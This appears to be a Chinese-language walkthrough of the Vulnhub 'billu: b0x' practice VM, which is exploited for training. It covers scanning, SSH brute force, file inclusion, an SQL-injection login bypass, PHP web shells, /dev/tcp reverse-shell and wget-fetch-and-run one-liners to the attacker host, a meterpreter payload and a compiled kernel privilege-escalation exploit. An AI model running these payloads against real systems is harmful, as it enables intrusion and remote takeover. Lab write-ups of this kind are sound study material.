(Vulnhub练习)-- billu: b0x渗透实战

下载地址
http://www.vulnhub.com/entry/billu-b0x,188/
扫描主机
netdiscover -i eth0 -r 192.168.100.0/24
目标主机IP:192.168.100.156
信息收集
信息收集的步骤基本上差不多,可根据工具简单写个shell脚本
#!/usr/bin/bash
ip=192.168.100.$1
ping -c2 $ip &>/dev/null
if [ $? -eq 0 ] ; then
echo "$ip is up"
else
echo "$ip is down"
exit
fi
masscan --rate=10000 --ports 0-65535 $ip
masscan --rate=10000 --ports 0-65535 $ip
nmap -A $ip
sleep 30
whatweb $ip
sleep 10
dirsearch -u $ip
sleep 5
nikto -h $ip
sleep 5
dirb http://$ip
我的网段在192.168.100.0/24 所以ip要改改
/home/xiaoxiaoran/shell/xinxi.sh 156

泛端口扫描

nmap端口扫描

指纹识别

路径扫描

开始测试
对22端口进行弱密码扫描
hydra -L top500.txt -P top6000.txt 192.168.100.156 ssh
如果你的字典用户名有root,密码有roottoor,那么恭喜游戏结束
对扫描的目录测试
-
在/add.php发现文件上传  -
在/in中发现phpinfo
http://192.168.100.156/in

对文件包含测试
http://192.168.100.156/test.php
burpsuite抓包,发到repeater,转为post请求

存在文件包含
包含c.php得到数据库密码

文件包含如果直接访问猜到的路径也不用奋斗了

在信息中直接有ssh root的登录信息
成功登录/phpmy

在ica_lab数据库中有一个表是auth
猜测应该是openssh密码或者前面的web登录密码

尝试登录web的主页;成功登录;

或者sql注入登录

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

'or 1=1-- -\' 成功绕过登录(密码一样)
sql注入一个重要的原则就是闭合输入查询
str_replace的作用是将字符串’ 替换为空
观察图片上传和show,也存在文件包含
<?php system($_GET['cmd']);?>
load=%2Fuploaded_images%2Fxiu.jpg&continue=continue

把cmd=的值改成反弹shell(要url编码)
蚁剑连接post需要改cmd=
echo '<?php eval($_POST['pass'])?>' >> uploaded_images/shell.php
echo%20%27%3C%3Fphp%20eval(%24_POST%5B%27pass%27%5D)%3F%3E%27%20%3E%3E%20uploaded_images%2Fshell.php

nc反弹shell需要改cmd=
echo "bash -i >& /dev/tcp/192.168.100.143/6666 0>&1" | bash
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.143%2F6666%200%3E%261%22%20%7C%20bash

msf反弹shell需要改cmd=
sudo msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/xiao3
linux.rc文件
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.143
set LPORT 4444
exploit
msfconsole -qr /home/xiaoxiaoran/shell/linux.rc
wget 192.168.100.143/xiao3 -O /tmp/xiao3;cd /tmp;chmod +x xiao3;./xiao3 &
wget%20192.168.100.143%2Fxiao3%20-O%20%2Ftmp%2Fxiao3%3Bcd%20%2Ftmp%3Bchmod%20%2Bx%20xiao3%3B.%2Fxiao3%20%26

文件不能执行,失败
采用nc的shell提权
uname -a
cat /etc/issus
Ubuntu 12.04.5 LTS \n \l
查看内核版本,然后再kali使用searchsploit查找是否有exp
searchsploit ubuntu 12.04

cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/37292.c
cd /tmp
wget 192.168.100.143/37292.c
gcc -pthread 37292.c -o exp -lcrypt
./exp

|